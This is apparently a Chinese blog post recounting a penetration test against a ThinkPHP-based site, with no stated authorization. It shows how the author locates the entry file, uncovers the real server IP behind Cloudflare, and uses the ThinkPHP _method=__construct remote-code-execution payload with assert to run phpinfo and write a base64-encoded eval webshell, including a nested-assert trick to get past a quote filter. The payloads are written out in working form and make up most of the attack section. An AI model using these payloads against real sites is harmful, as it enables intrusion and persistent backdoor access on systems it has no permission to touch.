路漫漫其修远兮,吾将上下而求索

0%

渗透测试纪实-1

收集信息

找到目标站,大略浏览了一遍

看了一下url app/dist/index.html#/reg?phone=有点像thinkphp框架,

试了试 domain/captcha显示404

之后看了看chrome network抓的包

image-20200521145023239

看样子是改了默认的入口文件 index.php

之后又试了下 tl_api.php?s=captcha

image-20200521145919691

熟悉的界面。

直接上exp,然后,所有的报错页面都显示这个。

image-20200521150108485

心里顿时暗道不妙,还记得上次也是tp的站 ,对方加了cloudflare,然后动不动禁ip,一上exp就禁ip,弄得我束手无测,不过这次报错界面却暴露了他的真实ip。SERVER_ADDR对应的值就是真实ip。

之后直接从真实ip入手

渗透测试

试了试日志和session包含,

_method=__construct&method=get&filter[]=think\__include_file&get[]=../runtime/log/202005/19.log

但是都失败了

说不定版本小于7.1.索性直接assert

_method=__construct&method=get&filter[]=assert&get[]=phpinfo();

成功了,是php5.6版本的。

之后就是写入shell了。

_method=__construct&method=get&filter[]=assert&get[]=file_put_contents('./readme.php',base64_decode('PD9waHAgCiAgICAkYiA9IHN1YnN0cigkX1BPU1RbJ2gzYXJ0M2FycyddLCAxKTsKICAgIGV2YWwoYmFzZTY0X2RlY29kZSgkYikpOwo/Pg=='));

然后报了出乎意料的错误,语法错误:

1
Parse error: syntax error, unexpected ''./readme.php\',base64_decode' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) in assert code on line 1

是过滤了单引号了。

简单绕过

assert调用assert

1
_method=__construct&method=get&filter[]=assert&get[]=assert(base64_decode($_POST[1]));&1=ZmlsZV9wdXRfY29udGVudHMoJy4vcmVhZG1lLnBocCcsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQWdDaUFnSUNBa1lpQTlJSE4xWW5OMGNpZ2tYMUJQVTFSYkoyZ3pZWEowTTJGeWN5ZGRMQ0F4S1RzS0lDQWdJR1YyWVd3b1ltRnpaVFkwWDJSbFkyOWtaU2drWWlrcE93by9QZz09Jykp

最终写入了shell。

image-20200521152159765

提权未成功,bypass disable未成功

Linux guest 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64